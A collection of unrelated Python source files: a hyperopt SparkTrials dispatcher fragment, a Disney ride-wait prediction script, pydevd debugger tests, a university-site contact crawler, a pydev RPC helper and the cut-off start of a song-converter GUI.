self._write_exception_back(trial, e=data)
def launch_dispatcher(self):
def run_dispatcher():
start_time = timeit.default_timer()
while not self._fmin_done:
new_tasks = self._poll_new_tasks()
for trial in new_tasks:
self._run_trial_async(trial)
cur_time = timeit.default_timer()
elapsed_time = cur_time - start_time
# In the future, timeout checking logic could be moved to `fmin`.
# For now, timeouts are specific to SparkTrials.
# When a timeout happens:
# - Set `trials._fmin_cancelled` flag to be True.
# - FMinIter checks this flag and exits if it is set to True.
if (
self.trials.timeout is not None
and elapsed_time > self.trials.timeout
and not self.trials._fmin_cancelled
):
self.trials._fmin_cancelled = True
self.trials._fmin_cancelled_reason = "fmin run timeout"
self._cancel_running_trials()
logger.warning(
"fmin cancelled because of "
+ self.trials._fmin_cancelled_reason
)
time.sleep(1)
if self.trials._fmin_cancelled:
# Because cancelling fmin triggered, warn that the dispatcher won't launch
# more trial tasks.
logger.warning("fmin is cancelled, so new trials will not be launched.")
logger.debug("dispatcher thread exits normally.")
self._dispatcher_thread = threading.Thread(target=run_dispatcher)
self._dispatcher_thread.setDaemon(True)
self._dispatcher_thread.start()
@staticmethod
def _get_spec_from_trial(trial):
return base.spec_from_misc(trial["misc"])
@staticmethod
def _write_result_back(trial, result):
trial["state"] = base.JOB_STATE_DONE
trial["result"] = result
trial["refresh_time"] = coarse_utcnow()
def _write_exception_back(self, trial, e):
trial["state"] = base.JOB_STATE_ERROR
trial["misc"]["error"] = (str(type(e)), self._get_traceback(e))
trial["refresh_time"] = coarse_utcnow()
@staticmethod
def _write_cancellation_back(trial, e):
trial["state"] = base.JOB_STATE_CANCEL
trial["misc"]["error"] = (str(type(e)), str(e))
trial["refresh_time"] = coarse_utcnow()
def _run_trial_async(self, trial):
def finish_trial_run(result_or_e):
if not isinstance(result_or_e, BaseException):
self._finish_trial_run(
is_success=True,
is_cancelled=self.trials._fmin_cancelled,
trial=trial,
data=result_or_e,
)
logger.debug(
"trial {tid} task thread exits normally and writes results "
"back correctly.".format(tid=trial["tid"])
)
else:
self._finish_trial_run(
is_success=False,
is_cancelled=self.trials._fmin_cancelled,
trial=trial,
data=result_or_e,
)
logger.debug(
"trial {tid} task thread catches an exception and writes the "
"info back correctly.".format(tid=trial["tid"])
)
def run_task_thread():
local_eval_function, local_space = self.eval_function, self.space
params = self._get_spec_from_trial(trial)
def run_task_on_executor(_):
domain = base.Domain(
local_eval_function, local_space, pass_expr_memo_ctrl=None
)
try:
result = domain.evaluate(
params, ctrl=None, attach_attachments=False
)
yield result
except BaseException as e:
# Because the traceback is not pickable, we need format it and pass it back
# to driver
_traceback_string = traceback.format_exc()
logger.error(_traceback_string)
e._tb_str = _traceback_string
yield e
try:
worker_rdd = self.spark.sparkContext.parallelize([0], 1)
if self.trials._spark_supports_job_cancelling:
result_or_e = worker_rdd.mapPartitions(
run_task_on_executor
).collectWithJobGroup(
self._job_group_id,
self._job_desc,
self._job_interrupt_on_cancel,
)[
0
]
else:
result_or_e = worker_rdd.mapPartitions(
run_task_on_executor
).collect()[0]
except BaseException as e:
# I recommend to catch all exceptions here, it can make the program more robust.
# There're several possible reasons lead to raising exception here.
# so I use `except BaseException` here.
#
# If cancelled flag is set, it represent we need to cancel all running tasks,
# Otherwise it represent the task failed.
finish_trial_run(e)
else:
# The exceptions captured in run_task_on_executor would be returned in the result_or_e
finish_trial_run(result_or_e)
task_thread = threading.Thread(target=run_task_thread)
task_thread.setDaemon(True)
task_thread.start()
self._task_threads.add(task_thread)
def _poll_new_tasks(self):
new_task_list = []
for trial in copy.copy(self.trials.trials):
if trial["state"] == base.JOB_STATE_NEW:
# check parallelism limit
if self.running_trial_count() >= self.trials.parallelism:
break
new_task_list.append(trial)
self._begin_trial_run(trial)
return new_task_list
def _cancel_running_trials(self):
if self.trials._spark_supports_job_cancelling:
logger.debug(
"Cancelling all running jobs in job group {g}".format(
g=self._job_group_id
)
)
self.spark.sparkContext.cancelJobGroup(self._job_group_id)
# Make a copy of trials by slicing
for trial in self.trials.trials[:]:
if trial["state"] in [base.JOB_STATE_NEW, base.JOB_STATE_RUNNING]:
trial["state"] = base.JOB_STATE_CANCEL
else:
logger.info(
"Because the current Apache PySpark version does not support "
"cancelling jobs by job group ID, SparkTrials will block until all of "
"its running Spark jobs finish."
)
def wait_for_all_threads(self):
"""
Wait for the dispatcher and worker threads to finish.
:param cancel_running_trials: If true, try to cancel all running trials.
"""
self._fmin_done = True
self._dispatcher_thread.join()
self._dispatcher_thread = None
for task_thread in self._task_threads:
task_thread.join()
self._task_threads.clear()
|
save_predictions.py
|
import pymysql
import pandas as pd
import numpy as np
import transformations
import config
import prediction_helper
conn = pymysql.connect(config.host, user=config.username,port=config.port,
passwd=config.password)
#gather all historical data to build model
RideWaits = pd.read_sql_query("call DisneyDB.RideWaitQuery('2,7,8,9')", conn)
starter_data = RideWaits.copy()
#transform data for model bulding
RideWaits = transformations.transformData(RideWaits)
print("Gathered Data")
from datetime import datetime
from pytz import timezone
tz = timezone('US/Eastern')
dtime = datetime.now(tz)
dtime = dtime.replace(hour = 7,minute = 0, second = 0, microsecond = 0)
date = dtime.date()
time = dtime.time().strftime("%H:%M")
from datetime import datetime
from dateutil.relativedelta import relativedelta
def date_range(start_date, end_date, increment, period):
result = []
nxt = start_date
delta = relativedelta(**{period:increment})
while nxt <= end_date:
result.append(nxt)
nxt += delta
return result
end_time = dtime.replace(hour = 23, minute = 45, second = 0, microsecond = 0)
time_list = date_range(dtime, end_time, 15, 'minutes')
time_list = [x.time().strftime("%H:%M") for x in time_list]
park_hours = pd.read_sql_query("select * from DisneyDB.ParkHours where Date = '" + str(date) + "'", conn)
best_params = {'criterion': 'mse',
'max_depth': 10,
'max_features': 'auto',
'min_samples_leaf': 5,
'min_samples_split': 2,
'n_estimators': 100}
rides = list(set(starter_data['Name']))
#rides = ["Expedition Everest - Legend of the Forbidden Mountain","Gran Fiesta Tour Starring The Three Caballeros","Star Wars Launch Bay: Encounter Kylo Ren"]
global todays_predictions
todays_predictions = {}
import threading
num_threads = len(rides)
threads = []
for i in range(num_threads):
print(rides[i-1])
ride = rides[i-1]
current_ride = starter_data.copy()
current_ride = starter_data[current_ride['Name'] == ride]
process = threading.Thread(target = prediction_helper.make_daily_prediction, args = [current_ride,ride,time_list, best_params, todays_predictions, park_hours])
process.start()
threads.append(process)
for process in threads:
process.join()
all_predictions = pd.DataFrame()
for key,value in todays_predictions.items():
current_frame = value['predictions']
current_frame = current_frame[['RideId','Time','predicted_wait','confidence_high','confidence_low']]
current_frame.columns = ['RideId','Time','PredictedWait','ConfidenceHigh','ConfidenceLow']
current_frame['PredictedWait'] = [int(str(x).split(".")[0]) for x in current_frame['PredictedWait']]
current_frame['ConfidenceHigh'] = [int(str(x).split(".")[0]) for x in current_frame['ConfidenceHigh']]
current_frame['ConfidenceLow'] = [int(str(x).split(".")[0]) for x in current_frame['ConfidenceLow']]
all_predictions = pd.concat([all_predictions, current_frame])
print("Done first threading model loop")
RideIds = list(set(RideWaits['RideId']))
rides_not_predicted = [x for x in RideIds if x not in list(set(all_predictions["RideId"]))]
print(str(len(rides_not_predicted)) + " not predicted in first pass")
if len(rides_not_predicted) > 0:
best_params = {'criterion': 'mse',
'max_depth': 10,
'max_features': 'auto',
'min_samples_leaf': 5,
'min_samples_split': 2,
'n_estimators': 100}
#rides = list(set(starter_data['Name']))
rides = rides_not_predicted
todays_predictions = {}
import threading
num_threads = len(rides)
threads = []
for i in range(num_threads):
print(rides[i-1])
ride = rides[i-1]
current_ride = starter_data.copy()
current_ride = starter_data[current_ride['RideId'] == ride]
process = threading.Thread(target = prediction_helper.make_daily_prediction, args = [current_ride,ride,time_list, best_params, todays_predictions, park_hours])
process.start()
threads.append(process)
for process in threads:
process.join()
more_predictions = pd.DataFrame()
for key,value in todays_predictions.items():
current_frame = value['predictions']
current_frame = current_frame[['RideId','Time','predicted_wait','confidence_high','confidence_low']]
current_frame.columns = ['RideId','Time','PredictedWait','ConfidenceHigh','ConfidenceLow']
current_frame['PredictedWait'] = [int(str(x).split(".")[0]) for x in current_frame['PredictedWait']]
current_frame['ConfidenceHigh'] = [int(str(x).split(".")[0]) for x in current_frame['ConfidenceHigh']]
current_frame['ConfidenceLow'] = [int(str(x).split(".")[0]) for x in current_frame['ConfidenceLow']]
more_predictions = pd.concat([more_predictions, current_frame])
all_predictions = pd.concat([all_predictions, more_predictions])
rides_not_predicted = [x for x in RideIds if x not in list(set(all_predictions["RideId"]))]
if len(rides_not_predicted) > 0:
best_params = {'criterion': 'mse',
'max_depth': 10,
'max_features': 'auto',
'min_samples_leaf': 5,
'min_samples_split': 2,
'n_estimators': 100}
#rides = list(set(starter_data['Name']))
rides = rides_not_predicted
todays_predictions = {}
import threading
num_threads = len(rides)
threads = []
for i in range(num_threads):
print(rides[i-1])
ride = rides[i-1]
current_ride = starter_data.copy()
current_ride = starter_data[current_ride['RideId'] == ride]
process = threading.Thread(target = prediction_helper.make_daily_prediction, args = [current_ride,ride,time_list, best_params, todays_predictions, park_hours])
process.start()
threads.append(process)
for process in threads:
process.join()
more_predictions = pd.DataFrame()
for key,value in todays_predictions.items():
current_frame = value['predictions']
current_frame = current_frame[['RideId','Time','predicted_wait','confidence_high','confidence_low']]
current_frame.columns = ['RideId','Time','PredictedWait','ConfidenceHigh','ConfidenceLow']
current_frame['PredictedWait'] = [int(str(x).split(".")[0]) for x in current_frame['PredictedWait']]
current_frame['ConfidenceHigh'] = [int(str(x).split(".")[0]) for x in current_frame['ConfidenceHigh']]
current_frame['ConfidenceLow'] = [int(str(x).split(".")[0]) for x in current_frame['ConfidenceLow']]
more_predictions = pd.concat([more_predictions, current_frame])
all_predictions = pd.concat([all_predictions, more_predictions])
print("Saving predictions")
conn = pymysql.connect(config.host, user=config.username,port=config.port,
passwd=config.password)
cur = conn.cursor()
query = "delete from DisneyDB.Ride_Waits_Today_Predicted where RideId > 0"
cur.execute(query)
conn.commit()
for index,row in all_predictions.iterrows():
query = "insert into DisneyDB.Ride_Waits_Today_Predicted (RideId, Time, PredictedWait, ConfidenceHigh, ConfidenceLow) values (%i, '%s', %i, %i, %i)" %(row['RideId'], row['Time'], row['PredictedWait'], row['ConfidenceHigh'],row['ConfidenceLow'])
cur.execute(query)
conn.commit()
print("Saving predictions, function complete")
|
test_utilities.py
|
import threading
from _pydevd_bundle.pydevd_utils import convert_dap_log_message_to_expression
from tests_python.debug_constants import IS_PY26, IS_PY3K, TEST_GEVENT, IS_CPYTHON
import sys
from _pydevd_bundle.pydevd_constants import IS_WINDOWS, IS_PY2, IS_PYPY
import pytest
import os
import codecs
from _pydevd_bundle.pydevd_thread_lifecycle import pydevd_find_thread_by_id
def test_expression_to_evaluate():
from _pydevd_bundle.pydevd_vars import _expression_to_evaluate
assert _expression_to_evaluate(b'expr') == b'expr'
assert _expression_to_evaluate(b' expr') == b'expr'
assert _expression_to_evaluate(b'for a in b:\n foo') == b'for a in b:\n foo'
assert _expression_to_evaluate(b' for a in b:\n foo') == b'for a in b:\nfoo'
assert _expression_to_evaluate(b' for a in b:\nfoo') == b' for a in b:\nfoo'
assert _expression_to_evaluate(b'\tfor a in b:\n\t\tfoo') == b'for a in b:\n\tfoo'
if IS_PY2:
assert _expression_to_evaluate(u' expr') == (codecs.BOM_UTF8 + b'expr')
else:
assert _expression_to_evaluate(u' expr') == u'expr'
assert _expression_to_evaluate(u' for a in expr:\n pass') == u'for a in expr:\npass'
@pytest.mark.skipif(IS_WINDOWS, reason='Brittle on Windows.')
def test_is_main_thread():
'''
This is now skipped due to it failing sometimes (only on Windows).
I (fabioz) am not 100% sure on why this happens, but when this happens the initial thread for
the tests seems to be a non main thread.
i.e.: With an autouse fixture with a scope='session' with the code and error message below, it's
possible to see that at even at the `conftest` import (where indent_at_import is assigned) the
current thread is already not the main thread.
As far as I know this seems to be an issue in how pytest-xdist is running the tests (i.e.:
I couldn't reproduce this without running with `python -m pytest -n 0 ...`).
-------- Code to check error / error output ----------
from _pydevd_bundle.pydevd_utils import is_current_thread_main_thread
import threading
indent_at_import = threading.get_ident()
@pytest.yield_fixture(autouse=True, scope='session')
def check_main_thread_session(request):
if not is_current_thread_main_thread():
error_msg = 'Current thread does not seem to be a main thread at the start of the session. Details:\n'
current_thread = threading.current_thread()
error_msg += 'Current thread: %s\n' % (current_thread,)
error_msg += 'Current thread ident: %s\n' % (current_thread.ident,)
error_msg += 'ident at import: %s\n' % (indent_at_import,)
error_msg += 'curr ident: %s\n' % (threading.get_ident(),)
if hasattr(threading, 'main_thread'):
error_msg += 'Main thread found: %s\n' % (threading.main_thread(),)
error_msg += 'Main thread id: %s\n' % (threading.main_thread().ident,)
else:
error_msg += 'Current main thread not instance of: %s (%s)\n' % (
threading._MainThread, current_thread.__class__.__mro__,)
> raise AssertionError(error_msg)
E AssertionError: Current thread does not seem to be a main thread at the start of the session. Details:
E Current thread: <_DummyThread(Dummy-2, started daemon 7072)>
E Current thread ident: 7072
E ident at import: 7072
E curr ident: 7072
E Main thread found: <_MainThread(MainThread, started 5924)>
E Main thread id: 5924
conftest.py:67: AssertionError
'''
from _pydevd_bundle.pydevd_utils import is_current_thread_main_thread
from _pydevd_bundle.pydevd_utils import dump_threads
if not is_current_thread_main_thread():
error_msg = 'Current thread does not seem to be a main thread. Details:\n'
current_thread = threading.current_thread()
error_msg += 'Current thread: %s\n' % (current_thread,)
if hasattr(threading, 'main_thread'):
error_msg += 'Main thread found: %s\n' % (threading.main_thread(),)
else:
error_msg += 'Current main thread not instance of: %s (%s)' % (
threading._MainThread, current_thread.__class__.__mro__,)
try:
from StringIO import StringIO
except:
from io import StringIO
stream = StringIO()
dump_threads(stream=stream)
error_msg += '\n\n' + stream.getvalue()
raise AssertionError(error_msg)
class NonMainThread(threading.Thread):
def run(self):
self.is_main_thread = is_current_thread_main_thread()
non_main_thread = NonMainThread()
non_main_thread.start()
non_main_thread.join()
assert not non_main_thread.is_main_thread
def test_find_thread():
from _pydevd_bundle.pydevd_constants import get_current_thread_id
assert pydevd_find_thread_by_id('123') is None
assert pydevd_find_thread_by_id(
get_current_thread_id(threading.current_thread())) is threading.current_thread()
def check_dap_log_message(log_message, expected, evaluated, eval_locals=None):
ret = convert_dap_log_message_to_expression(log_message)
assert ret == expected
assert (eval(ret, eval_locals)) == evaluated
return ret
def test_convert_dap_log_message_to_expression():
assert check_dap_log_message(
'a',
"'a'",
'a',
)
assert check_dap_log_message(
'a {a}',
"'a %s' % (a,)",
'a value',
{'a': 'value'}
)
assert check_dap_log_message(
'a {1}',
"'a %s' % (1,)",
'a 1'
)
assert check_dap_log_message(
'a { }',
"'a '",
'a '
)
assert check_dap_log_message(
'a {1} {2}',
"'a %s %s' % (1, 2,)",
'a 1 2',
)
assert check_dap_log_message(
'a {{22:22}} {2}',
"'a %s %s' % ({22:22}, 2,)",
'a {22: 22} 2'
)
assert check_dap_log_message(
'a {(22,33)}} {2}',
"'a %s} %s' % ((22,33), 2,)",
'a (22, 33)} 2'
)
if not IS_PY26:
# Note: set literal not valid for Python 2.6.
assert check_dap_log_message(
'a {{1: {1}}}',
"'a %s' % ({1: {1}},)",
'a {1: {1}}' if IS_PY3K else 'a {1: set([1])}',
)
# Error condition.
assert check_dap_log_message(
'a {{22:22} {2}',
"'Unbalanced braces in: a {{22:22} {2}'",
'Unbalanced braces in: a {{22:22} {2}'
)
def test_pydevd_log():
from _pydev_bundle import pydev_log
try:
import StringIO as io
except:
import io
from _pydev_bundle.pydev_log import log_context
stream = io.StringIO()
with log_context(0, stream=stream):
pydev_log.critical('always')
pydev_log.info('never')
assert stream.getvalue() == 'always\n'
stream = io.StringIO()
with log_context(1, stream=stream):
pydev_log.critical('always')
pydev_log.info('this too')
assert stream.getvalue() == 'always\nthis too\n'
stream = io.StringIO()
with log_context(0, stream=stream):
pydev_log.critical('always %s', 1)
assert stream.getvalue() == 'always 1\n'
stream = io.StringIO()
with log_context(0, stream=stream):
pydev_log.critical('always %s %s', 1, 2)
assert stream.getvalue() == 'always 1 2\n'
stream = io.StringIO()
with log_context(0, stream=stream):
pydev_log.critical('always %s %s', 1)
# Even if there's an error in the formatting, don't fail, just print the message and args.
assert stream.getvalue() == 'always %s %s - (1,)\n'
stream = io.StringIO()
with log_context(0, stream=stream):
try:
raise RuntimeError()
except:
pydev_log.exception('foo')
assert 'foo\n' in stream.getvalue()
assert 'raise RuntimeError()' in stream.getvalue()
stream = io.StringIO()
with log_context(0, stream=stream):
pydev_log.error_once('always %s %s', 1)
# Even if there's an error in the formatting, don't fail, just print the message and args.
assert stream.getvalue() == 'always %s %s - (1,)\n'
def test_pydevd_logging_files(tmpdir):
from _pydev_bundle import pydev_log
from _pydevd_bundle.pydevd_constants import DebugInfoHolder
import os.path
from _pydev_bundle.pydev_log import _LoggingGlobals
try:
import StringIO as io
except:
import io
from _pydev_bundle.pydev_log import log_context
stream = io.StringIO()
with log_context(0, stream=stream):
d1 = str(tmpdir.join('d1'))
d2 = str(tmpdir.join('d2'))
for d in (d1, d2):
DebugInfoHolder.PYDEVD_DEBUG_FILE = os.path.join(d, 'file.txt')
pydev_log.initialize_debug_stream(reinitialize=True)
assert os.path.normpath(_LoggingGlobals._debug_stream_filename) == \
os.path.normpath(os.path.join(d, 'file.%s.txt' % os.getpid()))
assert os.path.exists(_LoggingGlobals._debug_stream_filename)
assert pydev_log.list_log_files(DebugInfoHolder.PYDEVD_DEBUG_FILE) == [
_LoggingGlobals._debug_stream_filename]
def _check_tracing_other_threads():
import pydevd_tracing
import time
from tests_python.debugger_unittest import wait_for_condition
try:
import _thread
except ImportError:
import thread as _thread
# This method is called in a subprocess, so, make sure we exit properly even if we somehow
# deadlock somewhere else.
def dump_threads_and_kill_on_timeout():
time.sleep(10)
from _pydevd_bundle import pydevd_utils
pydevd_utils.dump_threads()
time.sleep(1)
import os
os._exit(77)
_thread.start_new_thread(dump_threads_and_kill_on_timeout, ())
def method():
while True:
trace_func = sys.gettrace()
if trace_func:
threading.current_thread().trace_func = trace_func
break
time.sleep(.01)
def dummy_thread_method():
threads.append(threading.current_thread())
method()
threads = []
threads.append(threading.Thread(target=method))
threads[-1].daemon = True
threads[-1].start()
_thread.start_new_thread(dummy_thread_method, ())
wait_for_condition(lambda: len(threads) == 2, msg=lambda:'Found threads: %s' % (threads,))
def tracing_func(frame, event, args):
return tracing_func
assert pydevd_tracing.set_trace_to_threads(tracing_func) == 0
def check_threads_tracing_func():
for t in threads:
if getattr(t, 'trace_func', None) != tracing_func:
return False
return True
wait_for_condition(check_threads_tracing_func)
assert tracing_func == sys.gettrace()
def _build_launch_env():
import os
import pydevd
environ = os.environ.copy()
cwd = os.path.abspath(os.path.dirname(__file__))
assert os.path.isdir(cwd)
resources_dir = os.path.join(os.path.dirname(pydevd.__file__), 'tests_python', 'resources')
assert os.path.isdir(resources_dir)
attach_to_process_dir = os.path.join(os.path.dirname(pydevd.__file__), 'pydevd_attach_to_process')
assert os.path.isdir(attach_to_process_dir)
pydevd_dir = os.path.dirname(pydevd.__file__)
assert os.path.isdir(pydevd_dir)
environ['PYTHONPATH'] = (
cwd + os.pathsep +
resources_dir + os.pathsep +
attach_to_process_dir + os.pathsep +
pydevd_dir + os.pathsep +
environ.get('PYTHONPATH', '')
)
return cwd, environ
def _check_in_separate_process(method_name, module_name='test_utilities', update_env={}):
import subprocess
cwd, environ = _build_launch_env()
environ.update(update_env)
subprocess.check_call(
[sys.executable, '-c', 'import %(module_name)s;%(module_name)s.%(method_name)s()' % dict(
method_name=method_name, module_name=module_name)],
env=environ,
cwd=cwd
)
@pytest.mark.skipif(not IS_CPYTHON, reason='Functionality to trace other threads requires CPython.')
def test_tracing_other_threads():
# Note: run this test in a separate process so that it doesn't mess with any current tracing
# in our current process.
_check_in_separate_process('_check_tracing_other_threads')
def _check_basic_tracing():
import pydevd_tracing
# Note: run this test in a separate process so that it doesn't mess with any current tracing
# in our current process.
called = [0]
def tracing_func(frame, event, args):
called[0] = called[0] + 1
return tracing_func
assert pydevd_tracing.set_trace_to_threads(tracing_func) == 0
def foo():
pass
foo()
assert called[0] > 2
@pytest.mark.skipif(not IS_CPYTHON, reason='Functionality to trace other threads requires CPython.')
def test_tracing_basic():
_check_in_separate_process('_check_basic_tracing')
@pytest.mark.skipif(not IS_CPYTHON, reason='Functionality to trace other threads requires CPython.')
def test_find_main_thread_id():
# Note: run the checks below in a separate process because they rely heavily on what's available
# in the env (such as threads or having threading imported).
_check_in_separate_process('check_main_thread_id_simple', '_pydevd_test_find_main_thread_id')
_check_in_separate_process('check_main_thread_id_multiple_threads', '_pydevd_test_find_main_thread_id')
_check_in_separate_process('check_win_threads', '_pydevd_test_find_main_thread_id')
_check_in_separate_process('check_fix_main_thread_id_multiple_threads', '_pydevd_test_find_main_thread_id')
import subprocess
import pydevd
cwd, environ = _build_launch_env()
subprocess.check_call(
[sys.executable, '-m', '_pydevd_test_find_main_thread_id'],
env=environ,
cwd=cwd
)
resources_dir = os.path.join(os.path.dirname(pydevd.__file__), 'tests_python', 'resources')
subprocess.check_call(
[sys.executable, os.path.join(resources_dir, '_pydevd_test_find_main_thread_id.py') ],
env=environ,
cwd=cwd
)
@pytest.mark.skipif(not IS_WINDOWS, reason='Windows-only test.')
def test_get_ppid():
from _pydevd_bundle.pydevd_api import PyDevdAPI
api = PyDevdAPI()
if IS_PY3K:
# On python 3 we can check that our internal api which is used for Python 2 gives the
# same result as os.getppid.
ppid = os.getppid()
assert api._get_windows_ppid() == ppid
else:
assert api._get_windows_ppid() is not None
def _check_gevent(expect_msg):
from _pydevd_bundle.pydevd_utils import notify_about_gevent_if_needed
assert not notify_about_gevent_if_needed()
import gevent
assert not notify_about_gevent_if_needed()
import gevent.monkey
assert not notify_about_gevent_if_needed()
gevent.monkey.patch_all()
assert notify_about_gevent_if_needed() == expect_msg
def check_notify_on_gevent_loaded():
_check_gevent(True)
def check_dont_notify_on_gevent_loaded():
_check_gevent(False)
@pytest.mark.skipif(not TEST_GEVENT, reason='Gevent not installed.')
def test_gevent_notify():
_check_in_separate_process('check_notify_on_gevent_loaded', update_env={'GEVENT_SUPPORT': ''})
_check_in_separate_process('check_dont_notify_on_gevent_loaded', update_env={'GEVENT_SUPPORT': 'True'})
@pytest.mark.skipif(True, reason='Skipping because running this test can interrupt the test suite execution.')
def test_interrupt_main_thread():
from _pydevd_bundle.pydevd_utils import interrupt_main_thread
import time
main_thread = threading.current_thread()
def interrupt():
# sleep here so that the main thread in the test can get to the sleep too (otherwise
# if we interrupt too fast we won't really check that the sleep itself
# got interrupted -- although if that happens on some tests runs it's
# not really an issue either).
time.sleep(1)
interrupt_main_thread(main_thread)
if IS_PYPY:
# On PyPy a time.sleep() is not being properly interrupted,
# so, let's just check that it throws the KeyboardInterrupt in the
# next instruction.
timeout = 2
else:
timeout = 20
initial_time = time.time()
try:
t = threading.Thread(target=interrupt)
t.start()
time.sleep(timeout)
except KeyboardInterrupt:
if not IS_PYPY:
actual_timeout = time.time() - initial_time
# If this fails it means that although we interrupted Python actually waited for the next
# instruction to send the event and didn't really interrupt the thread.
assert actual_timeout < timeout, 'Expected the actual timeout (%s) to be < than the timeout (%s)' % (
actual_timeout, timeout)
else:
raise AssertionError('KeyboardInterrupt not generated in main thread.')
@pytest.mark.skipif(sys.version_info[0] < 3, reason='Only available for Python 3.')
def test_get_smart_step_into_variant_from_frame_offset():
from _pydevd_bundle.pydevd_bytecode_utils import get_smart_step_into_variant_from_frame_offset
variants = []
assert get_smart_step_into_variant_from_frame_offset(0, variants) is None
class DummyVariant(object):
def __init__(self, offset):
self.offset = offset
variants.append(DummyVariant(1))
assert get_smart_step_into_variant_from_frame_offset(0, variants) is None
assert get_smart_step_into_variant_from_frame_offset(1, variants) is variants[0]
assert get_smart_step_into_variant_from_frame_offset(2, variants) is variants[0]
variants.append(DummyVariant(3))
assert get_smart_step_into_variant_from_frame_offset(0, variants) is None
assert get_smart_step_into_variant_from_frame_offset(1, variants) is variants[0]
assert get_smart_step_into_variant_from_frame_offset(2, variants) is variants[0]
assert get_smart_step_into_variant_from_frame_offset(3, variants) is variants[1]
assert get_smart_step_into_variant_from_frame_offset(4, variants) is variants[1]
|
main.py
|
import queue
import threading
import pandas as pd
from myfilter import *
from spider import *
# =================== Global =================
# query_queue = Queue()
# cnt = 0
query_queue = [] # url 的 请求队列
init_url = 'https://xmu.edu.cn/' # 一切罪恶的源头
query_queue.append(init_url)
# tel_filter = init_bloom(1e5) #初始化联系方式过滤器，貌似用不到
url_filter = init_static_bloom(2000000) # 初始化url过滤器 debug的时候要用定长，否则停不下来，也无法检验函数作用
# url_filter = init_scale_bloom(20) # 初始化url过滤器，变长过滤器用于实际
url_list = [init_url] # debug模式中看看有哪些url我们曾经访问到过，实战中可以注释掉所有相关变量
tel_dict = {} # debug模式中看看我们都收集到了哪些联系方式。
# =================== Global =================
def save_tel(org, temp_tel_list):
'''
将联系方式存储起来
:param org: 联系人
:param temp_tel_list: 联系方式
:return: None
'''
if org in tel_dict.keys():
tel_dict[org] = tel_dict[org] | set(temp_tel_list)
else:
tel_dict[org] = set(temp_tel_list)
def do_craw(url_queue: queue.Queue, html_queue: queue.Queue):
while True:
url = url_queue.get()
# 观察线程状态
# print(threading.current_thread().name, f"craw {url}")
page = get_response(url)
html_queue.put((page, url))
if url_queue.empty():
break
def do_parse(url_queue: queue.Queue, html_queue: queue.Queue):
try:
# global cnt
while True:
page, url = html_queue.get()
# 观察线程状态
# print(threading.current_thread().name, f"parse {url}")
if not page == None:
temp_url_list = get_url(page, url)
org, temp_tel_list = get_info(page)
else:
temp_url_list = []
org, temp_tel_list = None, []
# 将联系当时存储起来
if len(temp_tel_list) > 0:
save_tel(org, temp_tel_list)
print(org, temp_tel_list)
# 将之后要访问的url储存起来
for url in temp_url_list:
if not url in url_filter:
url_filter.add(url)
url_queue.put(url)
url_list.append(url) # 可以被注释掉的变量
# print(f"url{cnt}加入队列：",url)
# cnt +=1
if url_queue.empty():
break
except IndexError as e:
print(e)
finally:
return
def init_msg_queue():
'''
初始化url_queue以及html_queue
:return: url_queue, html_queue
'''
url_queue = queue.Queue()
html_queue = queue.Queue()
url_queue.put(init_url)
return url_queue, html_queue
def start_threads(url_queue, html_queue, thread_num=10):
'''
启动线程函数，并返回线程列表
:param url_queue: 需要访问的url所组成的队列
:param html_queue: 需要解析的html文本所组成的队列
:param thread_num: 启动的线程个数
:return: 线程列表
'''
thread_list = []
for idx in range(thread_num):
t = threading.Thread(target=do_craw, args=[url_queue, html_queue], name=f'craw No.{idx + 1}')
t.start()
thread_list.append(t)
for idx in range(thread_num):
t = threading.Thread(target=do_parse, args=[url_queue, html_queue], name=f'parse No.{idx + 1}')
t.start()
thread_list.append(t)
return thread_list
def save_as_csv(path='dataset.csv'):
'''
:param path: 保存文件路径，默认在当前文件夹下保存为'dataset.csv'
:return: None
'''
print("======== Spider part is done. Saving data as files ======")
tel_dict.update((key, str(val)) for key, val in tel_dict.items())
df = pd.DataFrame(list(tel_dict.items()))
df.to_csv(path_or_buf=path, encoding='utf8')
print(df)
def main():
url_queue, html_queue = init_msg_queue()
thread_list = start_threads(url_queue=url_queue, html_queue=html_queue)
for t in thread_list: # 等待所有进程结束之后再做之后的事情
t.join()
save_as_csv()
if __name__ == '__main__':
main()
|
rpc.py
|
import socket
import threading
from _pydev_comm.server import TSingleThreadedServer
from _pydev_comm.transport import TSyncClient, open_transports_as_client, _create_client_server_transports
from _shaded_thriftpy.protocol import TBinaryProtocolFactory
from _shaded_thriftpy.thrift import TProcessor
def make_rpc_client(client_service, host, port, proto_factory=TBinaryProtocolFactory(strict_read=False, strict_write=False)):
client_transport, server_transport = open_transports_as_client((host, port))
client_protocol = proto_factory.get_protocol(client_transport)
client = TSyncClient(client_service, client_protocol)
return client, server_transport
def start_rpc_server(server_transport, server_service, server_handler, proto_factory=TBinaryProtocolFactory(strict_read=False,
strict_write=False)):
# setup server
processor = TProcessor(server_service, server_handler)
server = TSingleThreadedServer(processor, server_transport, daemon=True, iprot_factory=proto_factory)
server.serve()
return server
def start_rpc_server_and_make_client(host, port, server_service, client_service, server_handler_factory,
proto_factory=TBinaryProtocolFactory(strict_read=False, strict_write=False)):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((host, port))
server_socket.listen(1)
t = threading.Thread(target=_rpc_server, args=(server_socket, server_service, client_service, server_handler_factory, proto_factory))
t.setDaemon(True)
t.start()
return server_socket
def _rpc_server(server_socket, server_service, client_service, server_handler_factory, proto_factory):
client_socket, address = server_socket.accept()
client_transport, server_transport = _create_client_server_transports(client_socket)
client_protocol = proto_factory.get_protocol(client_transport)
rpc_client = TSyncClient(client_service, client_protocol)
server_handler = server_handler_factory(rpc_client)
# setup server
processor = TProcessor(server_service, server_handler)
server = TSingleThreadedServer(processor, server_transport, daemon=True, iprot_factory=proto_factory)
server.serve()
|
song_converter.py
|
import xrns2tt
try:
from tkinter import *
try:
import ttk
except:
import tkinter.ttk as ttk
try:
import tkFileDialog
except:
import tkinter.filedialog as tkFileDialog
except:
from Tkinter import *
import tkFileDialog
import ttk
import time
import threading
from os import stat,listdir
import os.path as path
import errno
import os
import traceback
def mkdir_p(path):
try:
os.makedirs(path)
except OSError as exc: # Python >2.5
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else:
raise
def song_convert_watcher():
running = True
root = Tk()
root.title("Renoise -> DuinoTune converter")
mainframe = ttk.Frame(root, padding="3 3 12 12")
mainframe.grid(column=0, row=0, sticky=(N, W, E, S))
mainframe.columnconfigure(0, weight=1)
mainframe.rowconfigure(0, weight=1)
# feet = StringVar()
